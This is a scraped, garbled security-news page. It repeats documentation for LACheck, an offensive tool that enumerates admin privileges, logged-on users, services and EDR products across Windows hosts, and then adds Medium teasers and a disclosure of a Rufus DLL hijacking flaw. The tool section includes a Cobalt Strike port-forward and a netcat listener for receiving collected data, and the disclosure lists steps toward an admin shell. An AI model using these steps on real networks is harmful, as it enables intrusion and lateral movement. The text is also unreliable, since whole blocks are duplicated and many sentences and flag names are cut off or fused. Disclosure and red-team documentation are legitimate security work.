Kali Linux Tutorials LACheck : Multithreaded C# .NET Assembly Local Administrative Privilege Enumeration LACheck is a Multithreaded C# .NET Assembly Local Administrative Privilege Enumeration. Arguments ./LACheck.exe help _ _ _ | | /\ / | | | | | | / \…
-118GDCE as svcadmin
[WinRM] Admin Success: DEV02.contoso.com as svcadmin
[!] RPC on DEV02.contoso.com – Access denied.
[!] SMB on DEV02.contoso.com – Attempted to perform an unauthorized operation.
[RPC] Admin Success: 10.10.10.10 as svcadmin
[!] SMB on 10.10.10.10 – Attempted to perform an unauthorized operation.
[!] WinRM on 10.10.10.10 – The WinRM client cannot process the request. Default authentication may be used with an IP address under the following conditions: the transport is HTTPS or the destination is in the TrustedHosts list, and explicit credentials are provided. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. For more information on how to set TrustedHosts run the following command: winrm help config.
WinRM Authentication
As seen in the above example output, attempting to check WinRM on the host at IP address
Use hostnames when attempting to check WinRM Access. Specifying Targets
The
All hosts returned from these flags are combined and deduplicated before enumeration starts. Bloodhound
LACheck supports writing AdminTo and Session collected into json output that can be uploaded to BloodHound
This output is only meant to augment an existing BloodHound collection with updated Administrative privileges for a single user and Sessions collected from hosts that Administrative privileges have been identified
The
BloodHound requires resolving users and computers to SIDs. Due to impersonation techniques such as Cobalt Strike’s
BloodHound output can be sent to a TCP socket instead of being written to disk.
If the TCP connection fails, BloodHound output will be written to disk.
In a Cobalt Strike beacon, TCP connections can be forwarded from a host back to the operator’s local machine using
rportfwd_local 8888 127.0.0.1 8888
An operator may then pipe the output of the TCP stream to a local file using netcat:
nc -lvnp 8888 > computers.json
Enumeration Methods Performance Summary
SMBWMIWinRM/edrfastfastfast/logonsfastfastfast/servicesslowfastfast/registryslowfast–
– = not implemented SMB /edr
Inspired by harleyQu1nn’s EDR.cna script
Directory.GetFiles Method returns a list of drivers from:
* \\host\C$\windows\system32\drivers
* \\host\C$\windows\sysnative\drivers
Drivers are looked up against a list of known drivers used by EDR vendors. Example Output ran as svcadmin user
[EDR] WEB01 – Found: CrowdStrike, SentinelOne (svcadmin)
[EDR] DEV02 – no EDR found (svcadmin)
/logons
NetWkstaUserEnum returns a list of users with interactive, service and batch logons
WTSEnumerateSessionsA returns a list of RDP sessions on a host
WTSQuerySessionInformationA retrieves detailed information for each RDP session Example Output ran as svcadmin user
[session] WEB01 – contoso\devadmin (svcadmin)
[session] WEB01 – contoso\devuser (svcadmin)
[session] WEB01 – contoso\WEB01$ (svcadmin)
[session] WEB01 – contoso\devadmin (svcadmin)
[session] WEB01 – contoso\devuser (svcadmin)
[rdp] WEB01 – contoso\devadmin rdp-tcp#2 Active Last Connection: 00:00:50:26 Last Input:[...]
[WinRM] Admin Success: DEV02.contoso.com as svcadmin
[!] RPC on DEV02.contoso.com – Access denied.
[!] SMB on DEV02.contoso.com – Attempted to perform an unauthorized operation.
[RPC] Admin Success: 10.10.10.10 as svcadmin
[!] SMB on 10.10.10.10 – Attempted to perform an unauthorized operation.
[!] WinRM on 10.10.10.10 – The WinRM client cannot process the request. Default authentication may be used with an IP address under the following conditions: the transport is HTTPS or the destination is in the TrustedHosts list, and explicit credentials are provided. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. For more information on how to set TrustedHosts run the following command: winrm help config.
WinRM Authentication
As seen in the above example output, attempting to check WinRM on the host at IP address
10.10.10.10will error due to the WinRM client not attempting to authenticate to a host via IP address.Use hostnames when attempting to check WinRM Access. Specifying Targets
The
/targets, /ldap, and /ouflags can all be used together or separately to generate a list of hosts to enumerate.All hosts returned from these flags are combined and deduplicated before enumeration starts. Bloodhound
LACheck supports writing AdminTo and Session collected into json output that can be uploaded to BloodHound
This output is only meant to augment an existing BloodHound collection with updated Administrative privileges for a single user and Sessions collected from hosts that Administrative privileges have been identified
The
/bloodhoundswitch will write a randomly-named encrypted zip file to disk which can be downloaded, extracted, and uploaded to BloodHound /userBloodHound requires resolving users and computers to SIDs. Due to impersonation techniques such as Cobalt Strike’s
make_tokenand kerberos_ticket_use, LACheck may not be able to accurately determine the user context for a collection. The /userarguement is required to supply LACheck with the user principal name (format = samaccountname@domain.tld) of the context it is ran under in order to accurately correlate the collection information. /socketBloodHound output can be sent to a TCP socket instead of being written to disk.
If the TCP connection fails, BloodHound output will be written to disk.
In a Cobalt Strike beacon, TCP connections can be forwarded from a host back to the operator’s local machine using
rportfwd_local:rportfwd_local 8888 127.0.0.1 8888
An operator may then pipe the output of the TCP stream to a local file using netcat:
nc -lvnp 8888 > computers.json
Enumeration Methods Performance Summary
SMBWMIWinRM/edrfastfastfast/logonsfastfastfast/servicesslowfastfast/registryslowfast–
– = not implemented SMB /edr
Inspired by harleyQu1nn’s EDR.cna script
Directory.GetFiles Method returns a list of drivers from:
* \\host\C$\windows\system32\drivers
* \\host\C$\windows\sysnative\drivers
Drivers are looked up against a list of known drivers used by EDR vendors. Example Output ran as svcadmin user
[EDR] WEB01 – Found: CrowdStrike, SentinelOne (svcadmin)
[EDR] DEV02 – no EDR found (svcadmin)
/logons
NetWkstaUserEnum returns a list of users with interactive, service and batch logons
WTSEnumerateSessionsA returns a list of RDP sessions on a host
WTSQuerySessionInformationA retrieves detailed information for each RDP session Example Output ran as svcadmin user
[session] WEB01 – contoso\devadmin (svcadmin)
[session] WEB01 – contoso\devuser (svcadmin)
[session] WEB01 – contoso\WEB01$ (svcadmin)
[session] WEB01 – contoso\devadmin (svcadmin)
[session] WEB01 – contoso\devuser (svcadmin)
[rdp] WEB01 – contoso\devadmin rdp-tcp#2 Active Last Connection: 00:00:50:26 Last Input:[...]
Hacking Articles Tips Tricks Videos Tutorials
-118GDCE as svcadmin [WinRM] Admin Success: DEV02.contoso.com as svcadmin [!] RPC on DEV02.contoso.com – Access denied. [!] SMB on DEV02.contoso.com – Attempted to perform an unauthorized operation. [RPC] Admin Success: 10.10.10.10 as svcadmin [!] SMB on 10.10.10.10…
00:00:00:00 (svcadmin)
/registry
Iterate through SIDs in
This method requires the Remote Registry service to be running on a remote host. If it is not:
1. initial start type of the Remote Registry service is recorded
2. start type is changed to
4. registry hives are enumerated
5. Remote Registry service is stopped
6. start type is reverted to its initially recorded value
Due to the potentially multi-step process to enumerate each host, this method may be slower compared to alternative techniques.
[registry] WEB01 – contoso\devadmin (svcadmin)
/services
ServiceController.GetServices Method retrieves a list of services on a host
Each service is queried to determine the user it is configured to run as.
Due to each service having to be queried individually, this method may be slower compared to alternative techniques.
[service] WEB01 – devadmin@consoso.com Service: secretsvc State: Running (svcadmin)
WMI /edr
Inspired by harleyQu1nn’s EDR.cna script
CIM_DataFile class returns a list of drivers from:
* \host\C$\windows\system32\drivers
* \host\C$\windows\sysnative\drivers
Drivers are looked up against a list of known drivers used by EDR vendors. Example Output ran as svcadmin user
[EDR] WEB01 – Found: CrowdStrike, SentinelOne (svcadmin)
[EDR] DEV02 – no EDR found (svcadmin)
/logons
Win32_LoggedOnUser class returns a list of logged on sessions Win32_LogonSession class returns detailed information for each session Example Output ran as svcadmin user
[session] WEB01 – contoso\devadmin 4/20/2021 11:00:05 AM (svcadmin)
[session] WEB01 – contoso\devuser 4/20/2021 1:40:52 PM (svcadmin)
[session] WEB01 – contoso\WEB01$ 4/20/2021 5:51:43 PM (svcadmin)
[session] WEB01 – contoso\devadmin 4/20/2021 09:54:38 AM (svcadmin)
[session] WEB01 – contoso\devuser 4/20/2021 10:14:32 AM (svcadmin)
/registry
Queries the Win32_UserProfile class to retrieve SIDs for user profiles on a system.
The EnumKey method of the StdRegProv class retrieves the
[registry] WEB01 – contoso\devadmin (svcadmin)
/services
Queries the Win32_Service class to retrieve the name, user, and state of services Example Output ran as svcadmin user
[service] WEB01 – devadmin@consoso.com Service: secretsvc State: Running (svcadmin) Download
/registry
Iterate through SIDs in
\\Computer\HKEY_USERS\hive, attempts to access Volatile Environmentfor each SID, and retrieves values from USERDOMAINand USERNAMEkeys.This method requires the Remote Registry service to be running on a remote host. If it is not:
1. initial start type of the Remote Registry service is recorded
2. start type is changed to
Automatic3. Remote Registry service is started4. registry hives are enumerated
5. Remote Registry service is stopped
6. start type is reverted to its initially recorded value
Due to the potentially multi-step process to enumerate each host, this method may be slower compared to alternative techniques.
smb /logonsis faster Example Output ran as svcadmin user[registry] WEB01 – contoso\devadmin (svcadmin)
/services
ServiceController.GetServices Method retrieves a list of services on a host
Each service is queried to determine the user it is configured to run as.
Due to each service having to be queried individually, this method may be slower compared to alternative techniques.
wmi /servicesis faster Example Output ran as svcadmin user[service] WEB01 – devadmin@consoso.com Service: secretsvc State: Running (svcadmin)
WMI /edr
Inspired by harleyQu1nn’s EDR.cna script
CIM_DataFile class returns a list of drivers from:
* \host\C$\windows\system32\drivers
* \host\C$\windows\sysnative\drivers
Drivers are looked up against a list of known drivers used by EDR vendors. Example Output ran as svcadmin user
[EDR] WEB01 – Found: CrowdStrike, SentinelOne (svcadmin)
[EDR] DEV02 – no EDR found (svcadmin)
/logons
Win32_LoggedOnUser class returns a list of logged on sessions Win32_LogonSession class returns detailed information for each session Example Output ran as svcadmin user
[session] WEB01 – contoso\devadmin 4/20/2021 11:00:05 AM (svcadmin)
[session] WEB01 – contoso\devuser 4/20/2021 1:40:52 PM (svcadmin)
[session] WEB01 – contoso\WEB01$ 4/20/2021 5:51:43 PM (svcadmin)
[session] WEB01 – contoso\devadmin 4/20/2021 09:54:38 AM (svcadmin)
[session] WEB01 – contoso\devuser 4/20/2021 10:14:32 AM (svcadmin)
/registry
Queries the Win32_UserProfile class to retrieve SIDs for user profiles on a system.
The EnumKey method of the StdRegProv class retrieves the
\\Computer\HKEY_USERS\hive and attempts to access Volatile Environmentfor each returned SID to retrieve values from the USERDOMAINand USERNAMEkeys. Example Output ran as svcadmin user[registry] WEB01 – contoso\devadmin (svcadmin)
/services
Queries the Win32_Service class to retrieve the name, user, and state of services Example Output ran as svcadmin user
[service] WEB01 – devadmin@consoso.com Service: secretsvc State: Running (svcadmin) Download
Hacking on Medium
CISA and the FBI have issued warnings about the possibility of data wiping attacks
https://cdn-images-1.medium.com/max/768/1*q8f9uPqlsEXl9lVSkK9Qlg.jpeg
Data wiping assaults targeting Ukraine could spread to targets in other countries, according to the Cybersecurity and Infrastructure…
Continue reading on Medium »
CISA and the FBI have issued warnings about the possibility of data wiping attacks
https://cdn-images-1.medium.com/max/768/1*q8f9uPqlsEXl9lVSkK9Qlg.jpeg
Data wiping assaults targeting Ukraine could spread to targets in other countries, according to the Cybersecurity and Infrastructure…
Continue reading on Medium »
Medium
CISA and the FBI have issued warnings about the possibility of data wiping attacks
Data wiping assaults targeting Ukraine could spread to targets in other countries, according to the Cybersecurity and Infrastructure…
Hacking on Medium
How I Cracked CONTI Ransomware Group’s Leaked Source Code ZIP File
https://cdn-images-1.medium.com/max/836/1*KSlIAwWlPGWplbZiJ0z5PA.png
Leaker posted full zip with password
Continue reading on Medium »
How I Cracked CONTI Ransomware Group’s Leaked Source Code ZIP File
https://cdn-images-1.medium.com/max/836/1*KSlIAwWlPGWplbZiJ0z5PA.png
Leaker posted full zip with password
Continue reading on Medium »
Medium
How I Cracked CONTI Ransomware Group’s Leaked Source Code ZIP File
Leaker posted full zip with password
Password Reset to Admin Access
While testing a web application that used a web GUI over the top of an API, I noted the calls to the API where authorized with a JWT token…Continue reading on Medium »
Read more...
While testing a web application that used a web GUI over the top of an API, I noted the calls to the API where authorized with a JWT token…Continue reading on Medium »
Read more...
Password Reset to Admin Access
While testing a web application that used a web GUI over the top of an API, I noted the calls to the API where authorized with a JWT token…Continue reading on Medium »
Read more...
While testing a web application that used a web GUI over the top of an API, I noted the calls to the API where authorized with a JWT token…Continue reading on Medium »
Read more...
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
Rufus 3.17.1846 DLL Hijacking
https://4.bp.blogspot.com/-jEyO8wrBbtw/WWlvSr9oRmI/AAAAAAAAINg/irp20P4NPo4dOJoHHzIQ0XpAovWCMUh6wCLcBGAs/s1600/h38.png
Rufus version 3.17.1846 suffers from a dll hijacking vulnerability for both the executable and portable executable versions.
MD5 |
Download
Source:packetstormsecurity.com
Rufus 3.17.1846 DLL Hijacking
https://4.bp.blogspot.com/-jEyO8wrBbtw/WWlvSr9oRmI/AAAAAAAAINg/irp20P4NPo4dOJoHHzIQ0XpAovWCMUh6wCLcBGAs/s1600/h38.png
Rufus version 3.17.1846 suffers from a dll hijacking vulnerability for both the executable and portable executable versions.
MD5 |
7400017ae2e5420d56dc998e4cc514ebDownload
Hi all,
I would like to disclose a vulnerability that I just found today.
Details below:
Vulnerable Software and Version:
1. Rufus 3.17.1846 executable
2. Rufus 3.17.1846 portable executable
Vulnerable software download link:
https://rufus.ie/en/
https://github.com/pbatard/rufus/releases/tag/v3.17
Date discovered and reported:
25 Feb 2022
Description:
Both Rufus 3.17.1846 executable AND portable executable are suffering from DLL
Hijacking by placing x86 MSASN1.dll or VERSION.dll in the same directory as
the executables, which could cause arbitrary code execution and privilege
escalation.
Taking MSASN1.dll as an example, craft a malicious x86 DLL with an entry
point with DllMain and place in the same directory, once double click the
executable, an x86 admin shell could be obtained as the executable requires
admin right to run by design.
Attack vector:
Taking MSASN1.dll as an example PoC code of dll can be found in my
repository
Attack steps:
1.
Craft and drop a malicious DLL named as "MSASN1.dll" with entry point
DllMain [image: image]
<https:
2.
Double click the executable "Rufus", administrator privilege is required
to run
3.
Malicious DLL has been called and an admin shell can be obtained as
PoC [image:
image]
<https:
This issue has been submitted to github as well and is acknowledged by the
owner,
https://github.com/pbatard/rufus/issues/1877
Thanks and regards,
James Tsz Ko Yeung
Source:packetstormsecurity.com